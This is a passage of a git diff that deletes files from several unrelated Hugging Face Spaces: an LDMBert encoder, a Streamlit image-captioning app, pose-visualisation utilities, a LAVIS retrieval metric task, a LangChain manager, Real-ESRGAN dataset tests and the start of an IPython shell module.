-            attention_mask=attention_mask,
-            layer_head_mask=layer_head_mask,
-            output_attentions=output_attentions,
-        )
-        hidden_states = nn.functional.dropout(hidden_states, p=self.dropout, training=self.training)
-        hidden_states = residual + hidden_states
-
-        residual = hidden_states
-        hidden_states = self.final_layer_norm(hidden_states)
-        hidden_states = self.activation_fn(self.fc1(hidden_states))
-        hidden_states = nn.functional.dropout(hidden_states, p=self.activation_dropout, training=self.training)
-        hidden_states = self.fc2(hidden_states)
-        hidden_states = nn.functional.dropout(hidden_states, p=self.dropout, training=self.training)
-        hidden_states = residual + hidden_states
-
-        if hidden_states.dtype == torch.float16 and (
-            torch.isinf(hidden_states).any() or torch.isnan(hidden_states).any()
-        ):
-            clamp_value = torch.finfo(hidden_states.dtype).max - 1000
-            hidden_states = torch.clamp(hidden_states, min=-clamp_value, max=clamp_value)
-
-        outputs = (hidden_states,)
-
-        if output_attentions:
-            outputs += (attn_weights,)
-
-        return outputs
-
-
-# Copied from transformers.models.bart.modeling_bart.BartPretrainedModel with Bart->LDMBert
-class LDMBertPreTrainedModel(PreTrainedModel):
-    config_class = LDMBertConfig
-    base_model_prefix = "model"
-    supports_gradient_checkpointing = True
-    _keys_to_ignore_on_load_unexpected = [r"encoder\.version", r"decoder\.version"]
-
-    def _init_weights(self, module):
-        std = self.config.init_std
-        if isinstance(module, nn.Linear):
-            module.weight.data.normal_(mean=0.0, std=std)
-            if module.bias is not None:
-                module.bias.data.zero_()
-        elif isinstance(module, nn.Embedding):
-            module.weight.data.normal_(mean=0.0, std=std)
-            if module.padding_idx is not None:
-                module.weight.data[module.padding_idx].zero_()
-
-    def _set_gradient_checkpointing(self, module, value=False):
-        if isinstance(module, (LDMBertEncoder,)):
-            module.gradient_checkpointing = value
-
-    @property
-    def dummy_inputs(self):
-        pad_token = self.config.pad_token_id
-        input_ids = torch.tensor([[0, 6, 10, 4, 2], [0, 8, 12, 2, pad_token]], device=self.device)
-        dummy_inputs = {
-            "attention_mask": input_ids.ne(pad_token),
-            "input_ids": input_ids,
-        }
-        return dummy_inputs
-
-
-class LDMBertEncoder(LDMBertPreTrainedModel):
-    """
-    Transformer encoder consisting of *config.encoder_layers* self attention layers. Each layer is a
-    [`LDMBertEncoderLayer`].
-
-    Args:
-        config: LDMBertConfig
-        embed_tokens (nn.Embedding): output embedding
-    """
-
-    def __init__(self, config: LDMBertConfig):
-        super().__init__(config)
-
-        self.dropout = config.dropout
-
-        embed_dim = config.d_model
-        self.padding_idx = config.pad_token_id
-        self.max_source_positions = config.max_position_embeddings
-
-        self.embed_tokens = nn.Embedding(config.vocab_size, embed_dim)
-        self.embed_positions = nn.Embedding(config.max_position_embeddings, embed_dim)
-        self.layers = nn.ModuleList([LDMBertEncoderLayer(config) for _ in range(config.encoder_layers)])
-        self.layer_norm = nn.LayerNorm(embed_dim)
-
-        self.gradient_checkpointing = False
-        # Initialize weights and apply final processing
-        self.post_init()
-
-    def get_input_embeddings(self):
-        return self.embed_tokens
-
-    def set_input_embeddings(self, value):
-        self.embed_tokens = value
-
-    def forward(
-        self,
-        input_ids: torch.LongTensor = None,
-        attention_mask: Optional[torch.Tensor] = None,
-        position_ids: Optional[torch.LongTensor] = None,
-        head_mask: Optional[torch.Tensor] = None,
-        inputs_embeds: Optional[torch.FloatTensor] = None,
-        output_attentions: Optional[bool] = None,
-        output_hidden_states: Optional[bool] = None,
-        return_dict: Optional[bool] = None,
-    ) -> Union[Tuple, BaseModelOutput]:
-        r"""
-        Args:
-            input_ids (`torch.LongTensor` of shape `(batch_size, sequence_length)`):
-                Indices of input sequence tokens in the vocabulary. Padding will be ignored by default should you
-                provide it.
-
-                Indices can be obtained using [`BartTokenizer`]. See [`PreTrainedTokenizer.encode`] and
-                [`PreTrainedTokenizer.__call__`] for details.
-
-                [What are input IDs?](../glossary#input-ids)
-            attention_mask (`torch.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
-                Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
-
-                - 1 for tokens that are **not masked**,
-                - 0 for tokens that are **masked**.
-
-                [What are attention masks?](../glossary#attention-mask)
-            head_mask (`torch.Tensor` of shape `(encoder_layers, encoder_attention_heads)`, *optional*):
-                Mask to nullify selected heads of the attention modules. Mask values selected in `[0, 1]`:
-
-                - 1 indicates the head is **not masked**,
-                - 0 indicates the head is **masked**.
-
-            inputs_embeds (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
-                Optionally, instead of passing `input_ids` you can choose to directly pass an embedded representation.
-                This is useful if you want more control over how to convert `input_ids` indices into associated vectors
-                than the model's internal embedding lookup matrix.
-            output_attentions (`bool`, *optional*):
-                Whether or not to return the attentions tensors of all attention layers. See `attentions` under
-                returned tensors for more detail.
-            output_hidden_states (`bool`, *optional*):
-                Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors
-                for more detail.
-            return_dict (`bool`, *optional*):
-                Whether or not to return a [`~utils.BaseModelOutput`] instead of a plain tuple.
-        """
-        output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
-        output_hidden_states = (
-            output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
-        )
-        return_dict = return_dict if return_dict is not None else self.config.use_return_dict
-
-        # retrieve input_ids and inputs_embeds
-        if input_ids is not None and inputs_embeds is not None:
-            raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
-        elif input_ids is not None:
-            input_shape = input_ids.size()
-            input_ids = input_ids.view(-1, input_shape[-1])
-        elif inputs_embeds is not None:
-            input_shape = inputs_embeds.size()[:-1]
-        else:
-            raise ValueError("You have to specify either input_ids or inputs_embeds")
-
-        if inputs_embeds is None:
-            inputs_embeds = self.embed_tokens(input_ids)
-
-        seq_len = input_shape[1]
-        if position_ids is None:
-            position_ids = torch.arange(seq_len, dtype=torch.long, device=inputs_embeds.device).expand((1, -1))
-        embed_pos = self.embed_positions(position_ids)
-
-        hidden_states = inputs_embeds + embed_pos
-        hidden_states = nn.functional.dropout(hidden_states, p=self.dropout, training=self.training)
-
-        # expand attention_mask
-        if attention_mask is not None:
-            # [bsz, seq_len] -> [bsz, 1, tgt_seq_len, src_seq_len]
-            attention_mask = _expand_mask(attention_mask, inputs_embeds.dtype)
-
-        encoder_states = () if output_hidden_states else None
-        all_attentions = () if output_attentions else None
-
-        # check if head_mask has a correct number of layers specified if desired
-        if head_mask is not None:
-            if head_mask.size()[0] != (len(self.layers)):
-                raise ValueError(
-                    f"The head_mask should be specified for {len(self.layers)} layers, but it is for"
-                    f" {head_mask.size()[0]}."
-                )
-
-        for idx, encoder_layer in enumerate(self.layers):
-            if output_hidden_states:
-                encoder_states = encoder_states + (hidden_states,)
-            if self.gradient_checkpointing and self.training:
-
-                def create_custom_forward(module):
-                    def custom_forward(*inputs):
-                        return module(*inputs, output_attentions)
-
-                    return custom_forward
-
-                layer_outputs = torch.utils.checkpoint.checkpoint(
-                    create_custom_forward(encoder_layer),
-                    hidden_states,
-                    attention_mask,
-                    (head_mask[idx] if head_mask is not None else None),
-                )
-            else:
-                layer_outputs = encoder_layer(
-                    hidden_states,
-                    attention_mask,
-                    layer_head_mask=(head_mask[idx] if head_mask is not None else None),
-                    output_attentions=output_attentions,
-                )
-
-            hidden_states = layer_outputs[0]
-
-            if output_attentions:
-                all_attentions = all_attentions + (layer_outputs[1],)
-
-        hidden_states = self.layer_norm(hidden_states)
-
-        if output_hidden_states:
-            encoder_states = encoder_states + (hidden_states,)
-
-        if not return_dict:
-            return tuple(v for v in [hidden_states, encoder_states, all_attentions] if v is not None)
-        return BaseModelOutput(
-            last_hidden_state=hidden_states, hidden_states=encoder_states, attentions=all_attentions
-        )
-
-
-class LDMBertModel(LDMBertPreTrainedModel):
-    def __init__(self, config: LDMBertConfig):
-        super().__init__(config)
-        self.model = LDMBertEncoder(config)
-        self.to_logits = nn.Linear(config.hidden_size, config.vocab_size)
-
-    def forward(
-        self,
-        input_ids=None,
-        attention_mask=None,
-        position_ids=None,
-        head_mask=None,
-        inputs_embeds=None,
-        output_attentions=None,
-        output_hidden_states=None,
-        return_dict=None,
-    ):
-
-        outputs = self.model(
-            input_ids,
-            attention_mask=attention_mask,
-            position_ids=position_ids,
-            head_mask=head_mask,
-            inputs_embeds=inputs_embeds,
-            output_attentions=output_attentions,
-            output_hidden_states=output_hidden_states,
-            return_dict=return_dict,
-        )
-        return outputs
diff --git a/spaces/SameerR007/ImageCaptioning_streamlit/app.py b/spaces/SameerR007/ImageCaptioning_streamlit/app.py
deleted file mode 100644
index ba229291254408c57f550dbab6e364bef4ac4f62..0000000000000000000000000000000000000000
--- a/spaces/SameerR007/ImageCaptioning_streamlit/app.py
+++ /dev/null
@@ -1,74 +0,0 @@
-import streamlit as st
-import pickle
-st.header("Image Captioner")
-st.markdown("Building the framework may take upto a minute. Please be patient. Thank you!")
-features=pickle.load(open("features.pkl","rb"))
-all_captions=pickle.load(open("all_captions.pkl","rb"))
-from tensorflow.keras.preprocessing.text import Tokenizer
-tokenizer = Tokenizer()
-tokenizer.fit_on_texts(all_captions)
-vocab_size = len(tokenizer.word_index) + 1
-max_length = max(len(caption.split()) for caption in all_captions)
-from tensorflow import keras
-model = keras.models.load_model("best_model.h5")
-from tensorflow.keras.preprocessing.sequence import pad_sequences
-def idx_to_word(integer, tokenizer):
-    for word, index in tokenizer.word_index.items():
-        if index == integer:
-            return word
-    return None
-# generate caption for an image
-import numpy as np
-def predict_caption(model, image, tokenizer, max_length):
-    # add start tag for generation process
-    in_text = 'startseq'
-    # iterate over the max length of sequence
-    for i in range(max_length):
-        # encode input sequence
-        sequence = tokenizer.texts_to_sequences([in_text])[0]
-        # pad the sequence
-        sequence = pad_sequences([sequence], max_length)
-        # predict next word
-        yhat = model.predict([image, sequence], verbose=0)
-        # get index with high probability
-        yhat = np.argmax(yhat)
-        # convert index to word
-        word = idx_to_word(yhat, tokenizer)
-        # stop if word not found
-        if word is None:
-            break
-    
-        in_text += " " + word
-
-        if word == 'endseq':
-            break
-      
-    return in_text
-from tensorflow.keras.applications.vgg16 import VGG16, preprocess_input
-from tensorflow.keras.models import Model
-from gtts import gTTS
-from io import BytesIO
-sound_file = BytesIO()
-vgg_model = VGG16()
-vgg_model = Model(inputs=vgg_model.inputs, outputs=vgg_model.layers[-2].output)
-from tensorflow.keras.preprocessing.image import img_to_array
-from PIL import Image
-uploaded_image=st.file_uploader("Upload image to be captioned",type=["jpg","png","jpeg","webp"])
-image_path="bushman.jpeg"
-if(uploaded_image!=None):
-    display_image=Image.open(uploaded_image)
-    st.image(display_image)
-    if st.button("Caption"):
-        st.text("Please be patient...")
-        display_image=display_image.resize((224,224))
-        image = img_to_array(display_image)
-        image = image.reshape((1, image.shape[0], image.shape[1], image.shape[2]))
-        image = preprocess_input(image)
-        feature = vgg_model.predict(image, verbose=0)
-        final=predict_caption(model, feature, tokenizer, max_length)
-        final_output=((" ").join(final.split(" ")[1:len(final.split(" "))-1]))
-        tts = gTTS(final_output, lang='en')
-        tts.write_to_fp(sound_file)
-        st.text("Output:")
-        st.markdown(final_output)
-        st.audio(sound_file)
\ No newline at end of file
diff --git a/spaces/Sapphire-356/Video2MC/tools/utils.py b/spaces/Sapphire-356/Video2MC/tools/utils.py
deleted file mode 100644
index 7db8d678f45812b4f284705b2daa37a2922810a7..0000000000000000000000000000000000000000
--- a/spaces/Sapphire-356/Video2MC/tools/utils.py
+++ /dev/null
@@ -1,165 +0,0 @@
-import os
-
-import cv2
-import matplotlib.pyplot as plt
-import numpy as np
-import torch
-
-from common.utils import evaluate
-
-path = os.path.split(os.path.realpath(__file__))[0]
-main_path = os.path.join(path, '..')
-
-
-class common:
-    keypoints_symmetry = [[1, 3, 5, 7, 9, 11, 13, 15], [2, 4, 6, 8, 10, 12, 14, 16]]
-    rot = np.array([0.14070565, -0.15007018, -0.7552408, 0.62232804], dtype=np.float32)
-    skeleton_parents = np.array([-1, 0, 1, 2, 0, 4, 5, 0, 7, 8, 9, 8, 11, 12, 8, 14, 15])
-    pairs = [(1, 2), (5, 4), (6, 5), (8, 7), (8, 9), (10, 1), (11, 10), (12, 11), (13, 1), (14, 13), (15, 14), (16, 2), (16, 3), (16, 4), (16, 7)]
-
-    kps_left, kps_right = list(keypoints_symmetry[0]), list(keypoints_symmetry[1])
-    joints_left, joints_right = list([4, 5, 6, 11, 12, 13]), list([1, 2, 3, 14, 15, 16])
-    pad = (243 - 1) // 2  # Padding on each side
-    causal_shift = 0
-    joint_pairs = [[0, 1], [1, 3], [0, 2], [2, 4],
-                   [5, 6], [5, 7], [7, 9], [6, 8], [8, 10],
-                   [5, 11], [6, 12], [11, 12],
-                   [11, 13], [12, 14], [13, 15], [14, 16]]
-
-
-def resize_img(frame, max_length=640):
-    H, W = frame.shape[:2]
-    if max(W, H) > max_length:
-        if W > H:
-            W_resize = max_length
-            H_resize = int(H * max_length / W)
-        else:
-            H_resize = max_length
-            W_resize = int(W * max_length / H)
-        frame = cv2.resize(frame, (W_resize, H_resize), interpolation=cv2.INTER_AREA)
-        return frame, W_resize, H_resize
-
-    else:
-        return frame, W, H
-
-
-def rotate_bound(image, angle):
-    (h, w) = image.shape[:2]
-    (cX, cY) = (w // 2, h // 2)
-
-    M = cv2.getRotationMatrix2D((cX, cY), -angle, 1.0)
-    cos = np.abs(M[0, 0])
-    sin = np.abs(M[0, 1])
-
-    nW = int((h * sin) + (w * cos))
-    nH = int((h * cos) + (w * sin))
-
-    M[0, 2] += (nW / 2) - cX
-    M[1, 2] += (nH / 2) - cY
-
-    return cv2.warpAffine(image, M, (nW, nH))
-
-
-def draw_2Dimg(img, kpt, display=None):
-    # kpts : (17, 3)  3-->(x, y, score)
-    im = img.copy()
-    joint_pairs = common.joint_pairs
-    for item in kpt:
-        score = item[-1]
-        if score > 0.1:
-            x, y = int(item[0]), int(item[1])
-            cv2.circle(im, (x, y), 1, (255, 5, 0), 5)
-    for pair in joint_pairs:
-        j, j_parent = pair
-        pt1 = (int(kpt[j][0]), int(kpt[j][1]))
-        pt2 = (int(kpt[j_parent][0]), int(kpt[j_parent][1]))
-        cv2.line(im, pt1, pt2, (0, 255, 0), 2)
-
-    if display:
-        cv2.imshow('im', im)
-        cv2.waitKey(3)
-    return im
-
-
-def draw_3Dimg(pos, image, display=None, kpt2D=None):
-    from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas
-    fig = plt.figure(figsize=(12, 6))
-    canvas = FigureCanvas(fig)
-
-    # 2D
-    fig.add_subplot(121)
-    if kpt2D:
-        plt.imshow(draw_2Dimg(image, kpt2D))
-    else:
-        plt.imshow(image)
-
-    # 3D
-    ax = fig.add_subplot(122, projection='3d')
-    radius = 1.7
-    ax.view_init(elev=15., azim=70.)
-    ax.set_xlim3d([-radius / 2, radius / 2])
-    ax.set_zlim3d([0, radius])
-    ax.set_ylim3d([-radius / 2, radius / 2])
-    ax.set_aspect('equal')
-    # 坐标轴刻度
-    ax.set_xticklabels([])
-    ax.set_yticklabels([])
-    ax.set_zticklabels([])
-    ax.dist = 7.5
-    parents = common.skeleton_parents
-    joints_right = common.joints_right
-
-    for j, j_parent in enumerate(parents):
-        if j_parent == -1:
-            continue
-
-        col = 'red' if j in joints_right else 'black'
-        # 画图3D
-        ax.plot([pos[j, 0], pos[j_parent, 0]],
-                [pos[j, 1], pos[j_parent, 1]],
-                [pos[j, 2], pos[j_parent, 2]], zdir='z', c=col)
-    width, height = fig.get_size_inches() * fig.get_dpi()
-    canvas.draw()  # draw the canvas, cache the renderer
-    image = np.fromstring(canvas.tostring_rgb(), dtype='uint8').reshape(int(height), int(width), 3)
-    if display:
-        cv2.imshow('im', image)
-        cv2.waitKey(3)
-
-    return image
-
-
-def videoInfo(VideoName):
-    cap = cv2.VideoCapture(VideoName)
-    length = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
-    return cap, length
-
-
-def videopose_model_load():
-    # load trained model
-    from common.model import TemporalModel
-    chk_filename = main_path + '/checkpoint/pretrained_h36m_detectron_coco.bin'
-    checkpoint = torch.load(chk_filename, map_location=torch.device('cpu'))  # 把loc映射到storage
-    model_pos = TemporalModel(17, 2, 17, filter_widths=[3, 3, 3, 3, 3], causal=False, dropout=False, channels=1024, dense=False)
-    model_pos = model_pos
-    model_pos.load_state_dict(checkpoint['model_pos'])
-    receptive_field = model_pos.receptive_field()
-    return model_pos
-
-
-def interface(model_pos, keypoints, W, H):
-    # input (N, 17, 2) return (N, 17, 3)
-    if not isinstance(keypoints, np.ndarray):
-        keypoints = np.array(keypoints)
-
-    from common.camera import camera_to_world, normalize_screen_coordinates
-    #  keypoints = normalize_screen_coordinates_new(keypoints[..., :2], w=W, h=H)
-    keypoints = normalize_screen_coordinates(keypoints[..., :2], w=1000, h=1002)
-    input_keypoints = keypoints.copy()
-    # test_time_augmentation True
-    from common.generators import UnchunkedGenerator
-    gen = UnchunkedGenerator(None, None, [input_keypoints], pad=common.pad, causal_shift=common.causal_shift, augment=True, kps_left=common.kps_left,
-                             kps_right=common.kps_right, joints_left=common.joints_left, joints_right=common.joints_right)
-    prediction = evaluate(gen, model_pos, return_predictions=True)
-    prediction = camera_to_world(prediction, R=common.rot, t=0)
-    prediction[:, :, 2] -= np.min(prediction[:, :, 2])
-    return prediction
diff --git a/spaces/SeViLA/SeViLA/lavis/tasks/retrieval.py b/spaces/SeViLA/SeViLA/lavis/tasks/retrieval.py
deleted file mode 100644
index deacce9ccf53d020dbd7f95e5c45e91cc58b6492..0000000000000000000000000000000000000000
--- a/spaces/SeViLA/SeViLA/lavis/tasks/retrieval.py
+++ /dev/null
@@ -1,107 +0,0 @@
-"""
- Copyright (c) 2022, salesforce.com, inc.
- All rights reserved.
- SPDX-License-Identifier: BSD-3-Clause
- For full license text, see the LICENSE file in the repo root or https://opensource.org/licenses/BSD-3-Clause
-"""
-
-import json
-import logging
-import os
-
-import numpy as np
-import torch
-from lavis.common.dist_utils import is_main_process
-from lavis.common.registry import registry
-from lavis.tasks.base_task import BaseTask
-
-
-@registry.register_task("retrieval")
-class RetrievalTask(BaseTask):
-    def __init__(self, cfg):
-        super().__init__()
-
-        self.cfg = cfg
-
-    @classmethod
-    def setup_task(cls, cfg):
-        run_cfg = cfg.run_cfg
-
-        return cls(cfg=run_cfg)
-
-    def evaluation(self, model, data_loader, **kwargs):
-        # score_i2t, score_t2i = model.compute_sim_matrix(model, data_loader)
-        score_i2t, score_t2i = model.compute_sim_matrix(data_loader, task_cfg=self.cfg)
-
-        if is_main_process():
-            eval_result = self._report_metrics(
-                score_i2t,
-                score_t2i,
-                data_loader.dataset.txt2img,
-                data_loader.dataset.img2txt,
-            )
-            logging.info(eval_result)
-        else:
-            eval_result = None
-
-        return eval_result
-
-    def after_evaluation(self, val_result, **kwargs):
-        return val_result
-
-    @staticmethod
-    @torch.no_grad()
-    def _report_metrics(scores_i2t, scores_t2i, txt2img, img2txt):
-
-        # Images->Text
-        ranks = np.zeros(scores_i2t.shape[0])
-        for index, score in enumerate(scores_i2t):
-            inds = np.argsort(score)[::-1]
-            # Score
-            rank = 1e20
-            for i in img2txt[index]:
-                tmp = np.where(inds == i)[0][0]
-                if tmp < rank:
-                    rank = tmp
-            ranks[index] = rank
-
-        # Compute metrics
-        tr1 = 100.0 * len(np.where(ranks < 1)[0]) / len(ranks)
-        tr5 = 100.0 * len(np.where(ranks < 5)[0]) / len(ranks)
-        tr10 = 100.0 * len(np.where(ranks < 10)[0]) / len(ranks)
-
-        # Text->Images
-        ranks = np.zeros(scores_t2i.shape[0])
-
-        for index, score in enumerate(scores_t2i):
-            inds = np.argsort(score)[::-1]
-            ranks[index] = np.where(inds == txt2img[index])[0][0]
-
-        # Compute metrics
-        ir1 = 100.0 * len(np.where(ranks < 1)[0]) / len(ranks)
-        ir5 = 100.0 * len(np.where(ranks < 5)[0]) / len(ranks)
-        ir10 = 100.0 * len(np.where(ranks < 10)[0]) / len(ranks)
-
-        tr_mean = (tr1 + tr5 + tr10) / 3
-        ir_mean = (ir1 + ir5 + ir10) / 3
-        r_mean = (tr_mean + ir_mean) / 2
-
-        agg_metrics = (tr1 + tr5 + tr10) / 3
-
-        eval_result = {
-            "txt_r1": tr1,
-            "txt_r5": tr5,
-            "txt_r10": tr10,
-            "txt_r_mean": tr_mean,
-            "img_r1": ir1,
-            "img_r5": ir5,
-            "img_r10": ir10,
-            "img_r_mean": ir_mean,
-            "r_mean": r_mean,
-            "agg_metrics": agg_metrics,
-        }
-        with open(
-            os.path.join(registry.get_path("output_dir"), "evaluate.txt"), "a"
-        ) as f:
-            f.write(json.dumps(eval_result) + "\n")
-        return eval_result
diff --git a/spaces/StarbucksCN/starbucks_doc/langchain_manager/manager.py b/spaces/StarbucksCN/starbucks_doc/langchain_manager/manager.py
deleted file mode 100644
index 2654e882912f516700492e5481bdf39298dcfce1..0000000000000000000000000000000000000000
--- a/spaces/StarbucksCN/starbucks_doc/langchain_manager/manager.py
+++ /dev/null
@@ -1,70 +0,0 @@
-from abc import abstractmethod, ABC
-
-from langchain.base_language import BaseLanguageModel
-from langchain.embeddings.base import Embeddings as LCEmbeddings
-from langchain.embeddings.openai import OpenAIEmbeddings
-from langchain.llms import AzureOpenAI
-
-
-class BaseLangChainManager(ABC):
-    def __init__(self) -> None:
-        super().__init__()
-
-    @abstractmethod
-    def get_embedding(self) -> LCEmbeddings:
-        pass
-
-    @abstractmethod
-    def get_llm(self) -> BaseLanguageModel:
-        pass
-
-
-class LangChainAzureManager(BaseLangChainManager):
-    def __init__(self) -> None:
-        super().__init__()
-        self.embedding = OpenAIEmbeddings(client=None, chunk_size=1)
-        self.llm = AzureOpenAI(
-            deployment_name="text-davinci-003",
-            # model_name="text-davinci-003",
-            model="text-davinci-003",
-            client=None,
-            # temperature set to 0.0(default 0.7) to get a certain answer from OpenAI,
-            # as a wiki robot we won't want to get flexible answers
-            temperature=0.0,
-            # GPT-3 default is 4096, however, openai.py default is 256
-            max_tokens=2048,
-        )
-
-    # Override
-    def get_embedding(self) -> LCEmbeddings:
-        return self.embedding
-
-    # Override
-    def get_llm(self) -> BaseLanguageModel:
-        return self.llm
-
-
-class LangChainHuggingFaceManager(BaseLangChainManager):
-    def __init__(self) -> None:
-        super().__init__()
-        from transformers import AutoTokenizer, AutoModel
-
-        AutoTokenizer.from_pretrained("GanymedeNil/text2vec-large-chinese")
-
-        AutoModel.from_pretrained("GanymedeNil/text2vec-large-chinese")
-
-        self.embedding = OpenAIEmbeddings(client=None, chunk_size=1)
-        self.llm = AzureOpenAI(
-            deployment_name="text-davinci-003",
-            # model_name="text-davinci-003",
-            model="text-davinci-003",
-            client=None,
-        )
-
-    # Override
-    def get_embedding(self) -> LCEmbeddings:
-        return self.embedding
-
-    # Override
-    def get_llm(self) -> BaseLanguageModel:
-        return self.llm
diff --git a/spaces/Sumit7864/Image-Enhancer/tests/test_dataset.py b/spaces/Sumit7864/Image-Enhancer/tests/test_dataset.py
deleted file mode 100644
index 715b4082645c131d43d728ae8f65bcc2430aa8c9..0000000000000000000000000000000000000000
--- a/spaces/Sumit7864/Image-Enhancer/tests/test_dataset.py
+++ /dev/null
@@ -1,151 +0,0 @@
-import pytest
-import yaml
-
-from realesrgan.data.realesrgan_dataset import RealESRGANDataset
-from realesrgan.data.realesrgan_paired_dataset import RealESRGANPairedDataset
-
-
-def test_realesrgan_dataset():
-
-    with open('tests/data/test_realesrgan_dataset.yml', mode='r') as f:
-        opt = yaml.load(f, Loader=yaml.FullLoader)
-
-    dataset = RealESRGANDataset(opt)
-    assert dataset.io_backend_opt['type'] == 'disk'  # io backend
-    assert len(dataset) == 2  # whether to read correct meta info
-    assert dataset.kernel_list == [
-        'iso', 'aniso', 'generalized_iso', 'generalized_aniso', 'plateau_iso', 'plateau_aniso'
-    ]  # correct initialization the degradation configurations
-    assert dataset.betag_range2 == [0.5, 4]
-
-    # test __getitem__
-    result = dataset.__getitem__(0)
-    # check returned keys
-    expected_keys = ['gt', 'kernel1', 'kernel2', 'sinc_kernel', 'gt_path']
-    assert set(expected_keys).issubset(set(result.keys()))
-    # check shape and contents
-    assert result['gt'].shape == (3, 400, 400)
-    assert result['kernel1'].shape == (21, 21)
-    assert result['kernel2'].shape == (21, 21)
-    assert result['sinc_kernel'].shape == (21, 21)
-    assert result['gt_path'] == 'tests/data/gt/baboon.png'
-
-    # ------------------ test lmdb backend -------------------- #
-    opt['dataroot_gt'] = 'tests/data/gt.lmdb'
-    opt['io_backend']['type'] = 'lmdb'
-
-    dataset = RealESRGANDataset(opt)
-    assert dataset.io_backend_opt['type'] == 'lmdb'  # io backend
-    assert len(dataset.paths) == 2  # whether to read correct meta info
-    assert dataset.kernel_list == [
-        'iso', 'aniso', 'generalized_iso', 'generalized_aniso', 'plateau_iso', 'plateau_aniso'
-    ]  # correct initialization the degradation configurations
-    assert dataset.betag_range2 == [0.5, 4]
-
-    # test __getitem__
-    result = dataset.__getitem__(1)
-    # check returned keys
-    expected_keys = ['gt', 'kernel1', 'kernel2', 'sinc_kernel', 'gt_path']
-    assert set(expected_keys).issubset(set(result.keys()))
-    # check shape and contents
-    assert result['gt'].shape == (3, 400, 400)
-    assert result['kernel1'].shape == (21, 21)
-    assert result['kernel2'].shape == (21, 21)
-    assert result['sinc_kernel'].shape == (21, 21)
-    assert result['gt_path'] == 'comic'
-
-    # ------------------ test with sinc_prob = 0 -------------------- #
-    opt['dataroot_gt'] = 'tests/data/gt.lmdb'
-    opt['io_backend']['type'] = 'lmdb'
-    opt['sinc_prob'] = 0
-    opt['sinc_prob2'] = 0
-    opt['final_sinc_prob'] = 0
-    dataset = RealESRGANDataset(opt)
-    result = dataset.__getitem__(0)
-    # check returned keys
-    expected_keys = ['gt', 'kernel1', 'kernel2', 'sinc_kernel', 'gt_path']
-    assert set(expected_keys).issubset(set(result.keys()))
-    # check shape and contents
-    assert result['gt'].shape == (3, 400, 400)
-    assert result['kernel1'].shape == (21, 21)
-    assert result['kernel2'].shape == (21, 21)
-    assert result['sinc_kernel'].shape == (21, 21)
-    assert result['gt_path'] == 'baboon'
-
-    # ------------------ lmdb backend should have paths ends with lmdb -------------------- #
-    with pytest.raises(ValueError):
-        opt['dataroot_gt'] = 'tests/data/gt'
-        opt['io_backend']['type'] = 'lmdb'
-        dataset = RealESRGANDataset(opt)
-
-
-def test_realesrgan_paired_dataset():
-
-    with open('tests/data/test_realesrgan_paired_dataset.yml', mode='r') as f:
-        opt = yaml.load(f, Loader=yaml.FullLoader)
-
-    dataset = RealESRGANPairedDataset(opt)
-    assert dataset.io_backend_opt['type'] == 'disk'  # io backend
-    assert len(dataset) == 2  # whether to read correct meta info
-
-    # test __getitem__
-    result = dataset.__getitem__(0)
-    # check returned keys
-    expected_keys = ['gt', 'lq', 'gt_path', 'lq_path']
-    assert set(expected_keys).issubset(set(result.keys()))
-    # check shape and contents
-    assert result['gt'].shape == (3, 128, 128)
-    assert result['lq'].shape == (3, 32, 32)
-    assert result['gt_path'] == 'tests/data/gt/baboon.png'
-    assert result['lq_path'] == 'tests/data/lq/baboon.png'
-
-    # ------------------ test lmdb backend -------------------- #
-    opt['dataroot_gt'] = 'tests/data/gt.lmdb'
-    opt['dataroot_lq'] = 'tests/data/lq.lmdb'
-    opt['io_backend']['type'] = 'lmdb'
-
-    dataset = RealESRGANPairedDataset(opt)
-    assert dataset.io_backend_opt['type'] == 'lmdb'  # io backend
-    assert len(dataset) == 2  # whether to read correct meta info
-
-    # test __getitem__
-    result = dataset.__getitem__(1)
-    # check returned keys
-    expected_keys = ['gt', 'lq', 'gt_path', 'lq_path']
-    assert set(expected_keys).issubset(set(result.keys()))
-    # check shape and contents
-    assert result['gt'].shape == (3, 128, 128)
-    assert result['lq'].shape == (3, 32, 32)
-    assert result['gt_path'] == 'comic'
-    assert result['lq_path'] == 'comic'
-
-    # ------------------ test paired_paths_from_folder -------------------- #
-    opt['dataroot_gt'] = 'tests/data/gt'
-    opt['dataroot_lq'] = 'tests/data/lq'
-    opt['io_backend'] = dict(type='disk')
-    opt['meta_info'] = None
-
-    dataset = RealESRGANPairedDataset(opt)
-    assert dataset.io_backend_opt['type'] == 'disk'  # io backend
-    assert len(dataset) == 2  # whether to read correct meta info
-
-    # test __getitem__
-    result = dataset.__getitem__(0)
-    # check returned keys
-    expected_keys = ['gt', 'lq', 'gt_path', 'lq_path']
-    assert set(expected_keys).issubset(set(result.keys()))
-    # check shape and contents
-    assert result['gt'].shape == (3, 128, 128)
-    assert result['lq'].shape == (3, 32, 32)
-
-    # ------------------ test normalization -------------------- #
-    dataset.mean = [0.5, 0.5, 0.5]
-    dataset.std = [0.5, 0.5, 0.5]
-    # test __getitem__
-    result = dataset.__getitem__(0)
-    # check returned keys
-    expected_keys = ['gt', 'lq', 'gt_path', 'lq_path']
-    assert set(expected_keys).issubset(set(result.keys()))
-    # check shape and contents
-    assert result['gt'].shape == (3, 128, 128)
-    assert result['lq'].shape == (3, 32, 32)
diff --git a/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/IPython/terminal/interactiveshell.py b/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/IPython/terminal/interactiveshell.py
deleted file mode 100644
index 75cf25ea66e68f40ff94f5d0b9dc0cc4ebf177a3..0000000000000000000000000000000000000000
--- a/spaces/SungBeom/chatwine-korean/.venv/Lib/site-packages/IPython/terminal/interactiveshell.py
+++ /dev/null
@@ -1,993 +0,0 @@
-"""IPython terminal interface using prompt_toolkit"""
-
-import asyncio
-import os
-import sys
-from warnings import warn
-from typing import Union as UnionType
-
-from IPython.core.async_helpers import get_asyncio_loop
-from IPython.core.interactiveshell import InteractiveShell, InteractiveShellABC
-from IPython.utils.py3compat import input
